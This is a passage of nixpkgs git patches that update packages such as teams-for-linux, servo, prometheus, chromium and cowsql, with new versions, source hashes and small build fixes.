     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-B7u5xJHss09QOP1AHoHZWIiHyd2RBcF/XU3BB9N2C60=";
+    hash = "sha256-+0sVumtXEJQEP3vFQ7QU4zA4PuqCRDH5+fetD8PqtBg=";
   };
 
-  npmDepsHash = "sha256-JJUkZlol09Hehxc26DMdEzdxy8Nxa16G8YdTZkHhi78=";
+  npmDepsHash = "sha256-I9h/5sIOXJWm/+YJbXQ5QUfoMnTNiOz27LSEiVS4FXA=";
 
   nativeBuildInputs = [
     makeWrapper

From e47bcc81557fbca35225ddb87bb35b73b635e4f6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 17 Jun 2025 15:10:25 +0000
Subject: [PATCH 2469/4511] teams-for-linux: 2.0.16 -> 2.0.18

(cherry picked from commit c1394b48860d040eae23c8a235b5e8b9d612232d)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index 5d2c282439ce..be118252e32d 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.0.16";
+  version = "2.0.18";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-+0sVumtXEJQEP3vFQ7QU4zA4PuqCRDH5+fetD8PqtBg=";
+    hash = "sha256-44K76pNJ0SRKAF8QdHYSi5htQpbP6YNNg6vDkzaeqaI=";
   };
 
-  npmDepsHash = "sha256-I9h/5sIOXJWm/+YJbXQ5QUfoMnTNiOz27LSEiVS4FXA=";
+  npmDepsHash = "sha256-ShEqO6nL2YK2wdHGEcKff0fJsd9N9LI0VfhFe6FQ2gw=";
 
   nativeBuildInputs = [
     makeWrapper

From f6722ed5892d4c3dbdebc91e9f5e4bddae7f877a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 14:25:57 +0000
Subject: [PATCH 2470/4511] teams-for-linux: 2.0.18 -> 2.1.0

(cherry picked from commit 609e3538e9681d6a78e63be1f069c2c0e5cab0ea)
Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
---
 pkgs/by-name/te/teams-for-linux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index be118252e32d..ed2565320017 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -16,16 +16,16 @@
 
 buildNpmPackage rec {
   pname = "teams-for-linux";
-  version = "2.0.18";
+  version = "2.1.0";
 
   src = fetchFromGitHub {
     owner = "IsmaelMartinez";
     repo = "teams-for-linux";
     tag = "v${version}";
-    hash = "sha256-44K76pNJ0SRKAF8QdHYSi5htQpbP6YNNg6vDkzaeqaI=";
+    hash = "sha256-lISDy721e3bfWMl56DlIxVKN2bW8Yonc5XSVL072OQk=";
   };
 
-  npmDepsHash = "sha256-ShEqO6nL2YK2wdHGEcKff0fJsd9N9LI0VfhFe6FQ2gw=";
+  npmDepsHash = "sha256-QcjXJcEIi/sUJLUF+wMqhXyLYPgjZKK6n4ngyvrH9NA=";
 
   nativeBuildInputs = [
     makeWrapper

From 68c231abddf1c5a20bbecb26a97e3ca8a212e40e Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Tue, 15 Jul 2025 09:48:34 -0500
Subject: [PATCH 2471/4511] teams-for-linux: electron_35 -> electron_37

Was bumped to 36 in 2.0.16, but also bumped to 37 in most recent
release.

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 023913eb2afa3414a4bfcec7987de6d25a6d45b8)
---
 pkgs/by-name/te/teams-for-linux/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/te/teams-for-linux/package.nix b/pkgs/by-name/te/teams-for-linux/package.nix
index ed2565320017..e085cfb1220a 100644
--- a/pkgs/by-name/te/teams-for-linux/package.nix
+++ b/pkgs/by-name/te/teams-for-linux/package.nix
@@ -5,7 +5,7 @@
   fetchFromGitHub,
   alsa-utils,
   copyDesktopItems,
-  electron_35,
+  electron_37,
   makeDesktopItem,
   makeWrapper,
   nix-update-script,
@@ -46,7 +46,7 @@ buildNpmPackage rec {
     ''
       runHook preBuild
 
-      cp -r ${electron_35.dist} electron-dist
+      cp -r ${electron_37.dist} electron-dist
       chmod -R u+w electron-dist
     ''
     # Electron builder complains about symlink in electron-dist
@@ -61,7 +61,7 @@ buildNpmPackage rec {
           -c.npmRebuild=true \
           -c.asarUnpack="**/*.node" \
           -c.electronDist=electron-dist \
-          -c.electronVersion=${electron_35.version}
+          -c.electronVersion=${electron_37.version}
 
       runHook postBuild
     '';
@@ -83,7 +83,7 @@ buildNpmPackage rec {
       popd
 
       # Linux needs 'aplay' for notification sounds
-      makeWrapper '${lib.getExe electron_35}' "$out/bin/teams-for-linux" \
+      makeWrapper '${lib.getExe electron_37}' "$out/bin/teams-for-linux" \
         --prefix PATH : ${
           lib.makeBinPath [
             alsa-utils

From 8d286db081981565ec6d638c5d21cd392329ff6b Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 8 Jul 2025 18:27:41 +0200
Subject: [PATCH 2472/4511] servo: 0-unstable-2025-06-26 ->
 0-unstable-2025-07-08

(cherry picked from commit 1e6e82a7baa6ccddb780b14d7d49081e67b6beae)
---
 pkgs/by-name/se/servo/package.nix | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index d643b7e14c1f..14bcdc56ea83 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -45,7 +45,9 @@ let
   # match .python-version
   customPython = python311.withPackages (
     ps: with ps; [
+      markupsafe
       packaging
+      pygments
     ]
   );
   runtimePaths = lib.makeLibraryPath (
@@ -63,13 +65,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-06-26";
+  version = "0-unstable-2025-07-08";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "cbb0407ae641c049dd6796275b4ba8572c06b798";
-    hash = "sha256-d0Z+dvnNm3NxvGe/W/zJsAsyeMvxF9HoA+wSclWeLgk=";
+    rev = "c3f441d7abe7243a31150bf424babf0f1679ea88";
+    hash = "sha256-rFROwsU/x8LsD8vpCcmLyQMYCl9AQwgbv/kHk7JTa4c=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -80,7 +82,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-j6cQalYbeHunI1t4VRQkbqGNylwWg0NBoItwloYTfAE=";
+  cargoHash = "sha256-2J6ByE2kmoHBGWgwYU2FWgTt47cw+s8IPcm4ElRVWMc=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)

From 4f36a9b2c02fb9793a5898fc0a3eb76c3ec6e913 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 17:14:04 +0000
Subject: [PATCH 2473/4511] servo: 0-unstable-2025-07-08 ->
 0-unstable-2025-07-13

(cherry picked from commit 28b7f2ca401674f6293d5d6e6ecf4386de58c668)
---
 pkgs/by-name/se/servo/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/se/servo/package.nix b/pkgs/by-name/se/servo/package.nix
index 14bcdc56ea83..0ae573ce9143 100644
--- a/pkgs/by-name/se/servo/package.nix
+++ b/pkgs/by-name/se/servo/package.nix
@@ -65,13 +65,13 @@ in
 
 rustPlatform.buildRustPackage {
   pname = "servo";
-  version = "0-unstable-2025-07-08";
+  version = "0-unstable-2025-07-13";
 
   src = fetchFromGitHub {
     owner = "servo";
     repo = "servo";
-    rev = "c3f441d7abe7243a31150bf424babf0f1679ea88";
-    hash = "sha256-rFROwsU/x8LsD8vpCcmLyQMYCl9AQwgbv/kHk7JTa4c=";
+    rev = "93e5b672a78247205c431d5741952bdf23c3fcc2";
+    hash = "sha256-0826hNZ45BXXNzdZKbyUW/CfwVRZmpYU1e6efaACh4o=";
     # Breaks reproducibility depending on whether the picked commit
     # has other ref-names or not, which may change over time, i.e. with
     # "ref-names: HEAD -> main" as long this commit is the branch HEAD
@@ -82,7 +82,7 @@ rustPlatform.buildRustPackage {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-2J6ByE2kmoHBGWgwYU2FWgTt47cw+s8IPcm4ElRVWMc=";
+  cargoHash = "sha256-uB5eTGiSq+DV7VwYoyLR2HH3DQpSV4xnP7C7iXZa7S0=";
 
   # set `HOME` to a temp dir for write access
   # Fix invalid option errors during linking (https://github.com/mozilla/nixpkgs-mozilla/commit/c72ff151a3e25f14182569679ed4cd22ef352328)

From 1f851ccd19c1fbe4d33eea6099915eb2ce079f89 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 16:09:29 +0000
Subject: [PATCH 2474/4511] frigate: 0.15.1 -> 0.15.2

(cherry picked from commit dafd0cf5690607735121f2d63adcb07df9a49704)
---
 pkgs/by-name/fr/frigate/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fr/frigate/package.nix b/pkgs/by-name/fr/frigate/package.nix
index 8e7178f285b0..5b8024232b6c 100644
--- a/pkgs/by-name/fr/frigate/package.nix
+++ b/pkgs/by-name/fr/frigate/package.nix
@@ -12,14 +12,14 @@
 }:
 
 let
-  version = "0.15.1";
+  version = "0.15.2";
 
   src = fetchFromGitHub {
     name = "frigate-${version}-source";
     owner = "blakeblackshear";
     repo = "frigate";
     tag = "v${version}";
-    hash = "sha256-rnsc2VXaypIPVtYQHTGe9lg7PuAyjfjz4aeATmFzp5s=";
+    hash = "sha256-YJFtMVCTtp8h9a9RmkcoZSQ+nIKb5o/4JVynVslkx78=";
   };
 
   frigate-web = callPackage ./web.nix {

From 4a7c5551fb480058cca473a627d0771f67310441 Mon Sep 17 00:00:00 2001
From: Friedrich Altheide <friedrich.altheide@w34you.de>
Date: Tue, 8 Jul 2025 15:31:24 +0200
Subject: [PATCH 2475/4511] networkmanager: 1.52.0 -> 1.52.1

(cherry picked from commit 51b1a4d21002b236ec30dc82890605d4b6196ef8)
---
 pkgs/tools/networking/networkmanager/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/tools/networking/networkmanager/default.nix b/pkgs/tools/networking/networkmanager/default.nix
index e3daa878c5c5..f3e4ad6c6882 100644
--- a/pkgs/tools/networking/networkmanager/default.nix
+++ b/pkgs/tools/networking/networkmanager/default.nix
@@ -60,11 +60,11 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "networkmanager";
-  version = "1.52.0";
+  version = "1.52.1";
 
   src = fetchurl {
     url = "https://gitlab.freedesktop.org/NetworkManager/NetworkManager/-/releases/${finalAttrs.version}/downloads/NetworkManager-${finalAttrs.version}.tar.xz";
-    hash = "sha256-NW8hoV2lHkIY/U0P14zqYeBnsRFqJc3e5K+d8FBi6S0=";
+    hash = "sha256-ixIsc0k6cvK65SfBJc69h3EWcbkDUtvisXiKupV1rG8=";
   };
 
   outputs = [

From d88fccdbd85d99c732927c59313387367eab2623 Mon Sep 17 00:00:00 2001
From: Jonathan Davies <jpds@protonmail.com>
Date: Tue, 15 Jul 2025 08:37:00 +0000
Subject: [PATCH 2476/4511] =?UTF-8?q?prometheus:=203.4.2=20=E2=86=92=203.5?=
 =?UTF-8?q?.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit dc66864246446bcf81c786d107ba49c3576ec0f3)
---
 pkgs/by-name/pr/prometheus/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pr/prometheus/package.nix b/pkgs/by-name/pr/prometheus/package.nix
index fc2d581a1b54..54613c96d616 100644
--- a/pkgs/by-name/pr/prometheus/package.nix
+++ b/pkgs/by-name/pr/prometheus/package.nix
@@ -33,7 +33,7 @@
 
 buildGoModule (finalAttrs: {
   pname = "prometheus";
-  version = "3.4.2";
+  version = "3.5.0";
 
   outputs = [
     "out"
@@ -45,14 +45,14 @@ buildGoModule (finalAttrs: {
     owner = "prometheus";
     repo = "prometheus";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-/JeT8+I/jNE7O2YT9qfu7RF3xculPyR3rRrFQIG4YV4=";
+    hash = "sha256-QBmtJ+qBIwQzfJ7tx0P9/3kl6UaZou7qp8jrI+Qrcck=";
   };
 
-  vendorHash = "sha256-edR9vvSNexRR8EGEiSCIIYl3ndGckS8XuIWojPrq60U=";
+  vendorHash = "sha256-Svm+rH/cmS9mjiQHVucwKHy6ilw3mgySjRdC3ivw0YE=";
 
   webUiStatic = fetchurl {
     url = "https://github.com/prometheus/prometheus/releases/download/v${finalAttrs.version}/prometheus-web-ui-${finalAttrs.version}.tar.gz";
-    hash = "sha256-3aXP79aeA/qe99sVsJn0nNRggrzFWTmaRO3dBzOR6UU=";
+    hash = "sha256-j+wOQ8m2joXZ3/C6bO8pxroM/hntVLP/QhoWVmdLir4=";
   };
 
   excludedPackages = [

From 2eec283ea954f057d8ce0440dd6074fbb6717fe0 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 11 Jul 2025 21:16:49 +0000
Subject: [PATCH 2477/4511] cowsql: 1.15.8 -> 1.15.9

https://github.com/cowsql/cowsql/compare/v1.15.8...v1.15.9
(cherry picked from commit 2ed6f86266a54388cb21d5ab2800571169134254)
---
 pkgs/by-name/co/cowsql/37.patch    | 57 ------------------------------
 pkgs/by-name/co/cowsql/package.nix | 10 ++----
 2 files changed, 2 insertions(+), 65 deletions(-)
 delete mode 100644 pkgs/by-name/co/cowsql/37.patch

diff --git a/pkgs/by-name/co/cowsql/37.patch b/pkgs/by-name/co/cowsql/37.patch
deleted file mode 100644
index 9f7eb84afc35..000000000000
--- a/pkgs/by-name/co/cowsql/37.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-From c0d7c99632ea2ee01066988708cbb41f335cbdc3 Mon Sep 17 00:00:00 2001
-From: Brahmajit Das <listout@listout.xyz>
-Date: Sat, 14 Jun 2025 00:18:38 +0530
-Subject: [PATCH] src/lib/serialize.h: don't define double as float_t
-
-libuv with commit 85b526f makes uv.h include math.h for the definitions
-of NAN/INFINITY. That header also defines the ISO C standard float_t
-type. Now that that definition is in scope, the cowsql definition in
-src/lib/serialize.h conflicts with it.
-
-Fixes: 451cff63b29366237a9502823299b05bbff8662b
-Closes: https://github.com/cowsql/cowsql/issues/35
-Signed-off-by: Brahmajit Das <listout@listout.xyz>
----
- src/lib/serialize.h | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/src/lib/serialize.h b/src/lib/serialize.h
-index 9fbd49c..a7f9147 100644
---- a/src/lib/serialize.h
-+++ b/src/lib/serialize.h
-@@ -37,7 +37,7 @@ static_assert(sizeof(double) == sizeof(uint64_t),
-  * Basic type aliases to used by macro-based processing.
-  */
- typedef const char *text_t;
--typedef double float_t;
-+typedef double cowsql_float;
- typedef uv_buf_t blob_t;
- 
- /**
-@@ -143,7 +143,7 @@ COWSQL_INLINE size_t int64__sizeof(const int64_t *value)
- 	return sizeof(int64_t);
- }
- 
--COWSQL_INLINE size_t float__sizeof(const float_t *value)
-+COWSQL_INLINE size_t float__sizeof(const cowsql_float *value)
- {
- 	(void)value;
- 	return sizeof(double);
-@@ -190,7 +190,7 @@ COWSQL_INLINE void int64__encode(const int64_t *value, void **cursor)
- 	*cursor += sizeof(int64_t);
- }
- 
--COWSQL_INLINE void float__encode(const float_t *value, void **cursor)
-+COWSQL_INLINE void float__encode(const cowsql_float *value, void **cursor)
- {
- 	*(uint64_t *)(*cursor) = ByteFlipLe64(*(uint64_t *)value);
- 	*cursor += sizeof(uint64_t);
-@@ -273,7 +273,7 @@ COWSQL_INLINE int int64__decode(struct cursor *cursor, int64_t *value)
- 	return 0;
- }
- 
--COWSQL_INLINE int float__decode(struct cursor *cursor, float_t *value)
-+COWSQL_INLINE int float__decode(struct cursor *cursor, cowsql_float *value)
- {
- 	size_t n = sizeof(double);
- 	if (n > cursor->cap) {
diff --git a/pkgs/by-name/co/cowsql/package.nix b/pkgs/by-name/co/cowsql/package.nix
index f7e19e77757e..538a46889ce1 100644
--- a/pkgs/by-name/co/cowsql/package.nix
+++ b/pkgs/by-name/co/cowsql/package.nix
@@ -13,21 +13,15 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "cowsql";
-  version = "1.15.8";
+  version = "1.15.9";
 
   src = fetchFromGitHub {
     owner = "cowsql";
     repo = "cowsql";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-rwTa9owtnkyI9OpUKLk6V7WbAkqlYucpGzPnHHvKW/A=";
+    hash = "sha256-7djVcozWklI/0KhDC20df+H3YQbodUZaXBnQT4Ug8oI=";
   };
 
-  patches = [
-    # fix libuv changes. review removal in > 1.15.8
-    # https://github.com/cowsql/cowsql/pull/37
-    ./37.patch
-  ];
-
   nativeBuildInputs = [
     autoreconfHook
     pkg-config

From b9081b31cac6c9d12579cf436d2bb51d0266ad6e Mon Sep 17 00:00:00 2001
From: Jeff Huffman <tejing@tejing.com>
Date: Tue, 15 Jul 2025 00:38:40 -0400
Subject: [PATCH 2478/4511] rxvt-unicode: cherry-pick upstream bug fix
 affecting tmux

(cherry picked from commit a8e4187b10d41acf3f80eaf3c050721a72e70554)
---
 .../terminal-emulators/rxvt-unicode/default.nix             | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix b/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
index ee3b038e7970..e732da52817c 100644
--- a/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
+++ b/pkgs/applications/terminal-emulators/rxvt-unicode/default.nix
@@ -113,6 +113,12 @@ stdenv.mkDerivation {
     )
     ++ [
       ./patches/256-color-resources.patch
+      (fetchPatchFromAUR {
+        name = "7-bit-queries.patch";
+        package = "rxvt-unicode-truecolor-wide-glyphs";
+        rev = "61ed186890a2bf37585e4704a095be61e6504ac6";
+        sha256 = "1xpv6g3bhxq5gp40k3rp8yjp4xrw7dr2g9sfkdmj0gi3rr0myx46";
+      })
     ]
     ++ lib.optional (perlSupport && lib.versionAtLeast perl.version "5.38") (fetchpatch {
       name = "perl538-locale-c.patch";

From fc346e51a69492473d15a28e5104a8b5dd07c081 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 21:45:34 +0000
Subject: [PATCH 2479/4511] andcli: 2.2.0 -> 2.3.0

(cherry picked from commit ba8fd8b12413706dc48cdf5118dc8977f0ab9eae)
---
 pkgs/by-name/an/andcli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/andcli/package.nix b/pkgs/by-name/an/andcli/package.nix
index f283d48c4d46..4babc68c9b82 100644
--- a/pkgs/by-name/an/andcli/package.nix
+++ b/pkgs/by-name/an/andcli/package.nix
@@ -6,7 +6,7 @@
 
 buildGoModule (finalAttrs: {
   pname = "andcli";
-  version = "2.2.0";
+  version = "2.3.0";
 
   subPackages = [ "cmd/andcli" ];
 
@@ -14,10 +14,10 @@ buildGoModule (finalAttrs: {
     owner = "tjblackheart";
     repo = "andcli";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-wAatlCckSpa/BE4UVR/L6SkVmNyW2/cl//JOy62EaLc=";
+    hash = "sha256-umV0oJ4sySnZzrIpRuTP/fT8a9nhkC1shVEfVVRpEyI=";
   };
 
-  vendorHash = "sha256-/rmx9g7OfsZXr3zb1UfR1qLxdV2/ELzc/wXn0fJRzbE=";
+  vendorHash = "sha256-lzmkNxQUqktnl2Rpjgoa2yvAuGiMtVGNhiuF40how4o=";
 
   ldflags = [
     "-s"

From 021ad40cfb6fc519d7267d3f4b562dd78e0632c0 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Fri, 11 Jul 2025 14:53:45 -0400
Subject: [PATCH 2480/4511] tmc-cli: fix tests with Darwin sandbox

(cherry picked from commit 59dd45742590ba664737d61e5bffeae37d8d9a4e)
---
 pkgs/by-name/tm/tmc-cli/package.nix | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/pkgs/by-name/tm/tmc-cli/package.nix b/pkgs/by-name/tm/tmc-cli/package.nix
index 03ec3a00e500..21d407b6729a 100644
--- a/pkgs/by-name/tm/tmc-cli/package.nix
+++ b/pkgs/by-name/tm/tmc-cli/package.nix
@@ -1,5 +1,6 @@
 {
   lib,
+  stdenv,
   fetchFromGitHub,
   rustPlatform,
   writableTmpDirAsHomeHook,
@@ -23,6 +24,16 @@ rustPlatform.buildRustPackage (finalAttrs: {
     writableTmpDirAsHomeHook
   ];
 
+  checkFlags = lib.optionals stdenv.hostPlatform.isDarwin [
+    # When sandboxing, "Attempted to create a NULL object."
+    # https://github.com/mullvad/system-configuration-rs/pull/59 may fix.
+    "--skip=commands::courses::tests::list_courses_with_client_test"
+    # Same
+    "--skip=all_integration_tests"
+    # When sandboxing, "Lazy instance has previously been poisoned."
+    "--skip=commands::exercises::tests::list_exercises_with_client_test"
+  ];
+
   nativeInstallCheckInputs = [
     versionCheckHook
   ];
@@ -30,6 +41,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   versionCheckProgram = "${placeholder "out"}/bin/${finalAttrs.meta.mainProgram}";
   versionCheckProgramArg = "--version";
 
+  __darwinAllowLocalNetworking = true;
+
   meta = {
     description = "CLI for using the TestMyCode programming assignment evaluator";
     homepage = "https://github.com/rage/tmc-cli-rust";

From 4afbc8073d10cb5ccca765163a2006c51bee4732 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 15 Jul 2025 21:11:37 +0200
Subject: [PATCH 2481/4511] chromium,chromedriver: 138.0.7204.100 ->
 138.0.7204.157

https://chromereleases.googleblog.com/2025/07/stable-channel-update-for-desktop_15.html

This update includes 6 security fixes. Google is aware that an exploit
for CVE-2025-6558 exists in the wild.

CVEs:
CVE-2025-7656 CVE-2025-6558 CVE-2025-7657

(cherry picked from commit e5d9fa401609cbacc89440be2847710e4a67930a)
---
 .../networking/browsers/chromium/info.json    | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 41e0be5b3cc3..c07051ce3f4e 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
-    "version": "138.0.7204.100",
+    "version": "138.0.7204.157",
     "chromedriver": {
-      "version": "138.0.7204.101",
-      "hash_darwin": "sha256-ow+R2jcfm5tryB6UfnUNklVfLGc2Tzj2W6Nul6pRglI=",
-      "hash_darwin_aarch64": "sha256-GGcDoSkH8Z4N8yOL77nNMtz3BY4lNwlD10SPhEBRpJI="
+      "version": "138.0.7204.158",
+      "hash_darwin": "sha256-rNd7glDAVNkd4CNn4k3rdpb//yD/ccpebnGhDv1EGb8=",
+      "hash_darwin_aarch64": "sha256-oUMFW09mp2aUgplboMHaKvTVbKtqAy5C0KsA7DXbElc="
     },
     "deps": {
       "depot_tools": {
@@ -20,8 +20,8 @@
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "5f45b4744e3d5ba82c2ca6d942f1e7a516110752",
-        "hash": "sha256-bI75IXPl6YeauK2oTnUURh1ch1H7KKw/QzKYZ/q6htI=",
+        "rev": "e533e98b1267baa1f1c46d666b120e64e5146aa9",
+        "hash": "sha256-LbZ8/6Lvz1p3ydRL4fXtd7RL426PU3jU01Hx+DP5QYQ=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -96,8 +96,8 @@
       },
       "src/third_party/angle": {
         "url": "https://chromium.googlesource.com/angle/angle.git",
-        "rev": "df15136b959fc60c230265f75ee7fc75c96e8250",
-        "hash": "sha256-b4bGxhtrsfmVdJo/5QT4/mtQ6hqxmfpmcrieqaT9/ls="
+        "rev": "e1dc0a7ab5d1f1f2edaa7e41447d873895e083bf",
+        "hash": "sha256-tkHvTkqbm4JtWnh41iu0aJ9Jo34hYc7aOKuuMQmST4c="
       },
       "src/third_party/angle/third_party/glmark2/src": {
         "url": "https://chromium.googlesource.com/external/github.com/glmark2/glmark2",
@@ -131,8 +131,8 @@
       },
       "src/third_party/dawn": {
         "url": "https://dawn.googlesource.com/dawn.git",
-        "rev": "86772f20cca54b46f62b65ece1ef61224aef09db",
-        "hash": "sha256-N9DVbQE56WWBmJ/PJlYhU+pr8I+PFf/7FzMLCNqx3hg="
+        "rev": "1fde167ae683982d77b9ca7e1308bf9f498291e8",
+        "hash": "sha256-PbDTKSU19jn2hLDoazceYB/Rd6/qu6npPSrjOdeXFuU="
       },
       "src/third_party/dawn/third_party/glfw": {
         "url": "https://chromium.googlesource.com/external/github.com/glfw/glfw",
@@ -246,8 +246,8 @@
       },
       "src/third_party/devtools-frontend/src": {
         "url": "https://chromium.googlesource.com/devtools/devtools-frontend",
-        "rev": "a6dbe06dafbad00ef4b0ea139ece1a94a5e2e6d8",
-        "hash": "sha256-XkyJFRxo3ZTBGfKdTwSIo14SLNPQAKQvY4lEX03j6LM="
+        "rev": "4cca0aa00c4915947f1081014d5cfa2e83d357fa",
+        "hash": "sha256-pVNr8NB5U/Uf688oOvPLpu81isCn/WmjJky01A000a4="
       },
       "src/third_party/dom_distiller_js/dist": {
         "url": "https://chromium.googlesource.com/chromium/dom-distiller/dist.git",
@@ -796,8 +796,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
-        "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y="
+        "rev": "de9d0f8b56ae61896e4d2ac577fc589efb14f87d",
+        "hash": "sha256-/T5fisjmN80bs3PtQrCRfH3Bo9dRSd3f+xpPLDh1RTY="
       }
     }
   },

From 4820b19fc41e58e495600f72497b91c00805f10b Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Tue, 15 Jul 2025 20:32:28 +0800
Subject: [PATCH 2482/4511] firewalld: fix build with gettext 0.25

(cherry picked from commit fa36e9a879a88ce73eafe89d692cb85f8c40f403)
---
 pkgs/by-name/fi/firewalld/gettext-0.25.patch | 14 ++++++++++++++
 pkgs/by-name/fi/firewalld/package.nix        |  2 ++
 2 files changed, 16 insertions(+)
 create mode 100644 pkgs/by-name/fi/firewalld/gettext-0.25.patch

diff --git a/pkgs/by-name/fi/firewalld/gettext-0.25.patch b/pkgs/by-name/fi/firewalld/gettext-0.25.patch
new file mode 100644
index 000000000000..0205e1914d52
--- /dev/null
+++ b/pkgs/by-name/fi/firewalld/gettext-0.25.patch
@@ -0,0 +1,14 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -152,8 +152,10 @@
+ AC_SUBST([GETTEXT_PACKAGE], '[PKG_NAME]')
+ AC_DEFINE_UNQUOTED([GETTEXT_PACKAGE], ["$GETTEXT_PACKAGE"],)
+ 
++AM_GNU_GETTEXT_VERSION([0.22.5])
++AM_GNU_GETTEXT([external])
++
+ IT_PROG_INTLTOOL([0.35.0], [no-xml])
+-AM_PO_SUBDIRS
+ 
+ AC_CONFIG_COMMANDS([xsl-cleanup],,[rm -f doc/xml/transform-*.xsl])
+ 
diff --git a/pkgs/by-name/fi/firewalld/package.nix b/pkgs/by-name/fi/firewalld/package.nix
index 7772c2c0fa71..8e92a057edbc 100644
--- a/pkgs/by-name/fi/firewalld/package.nix
+++ b/pkgs/by-name/fi/firewalld/package.nix
@@ -57,6 +57,8 @@ stdenv.mkDerivation rec {
     ./add-config-path-env-var.patch
     ./respect-xml-catalog-files-var.patch
     ./specify-localedir.patch
+
+    ./gettext-0.25.patch
   ];
 
   postPatch =

From abdca48128be89bfa49b6b53ea4bd98792a5e152 Mon Sep 17 00:00:00 2001
From: iqubic <avi.caspe@gmail.com>
Date: Sun, 13 Jul 2025 20:05:25 -0700
Subject: [PATCH 2483/4511] maintainers: add iqubic

(cherry picked from commit 899f83016113825868e883229b6406dfc398058c)
---
 maintainers/maintainer-list.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index fc2e15e68c42..14f11a3d52fb 100644
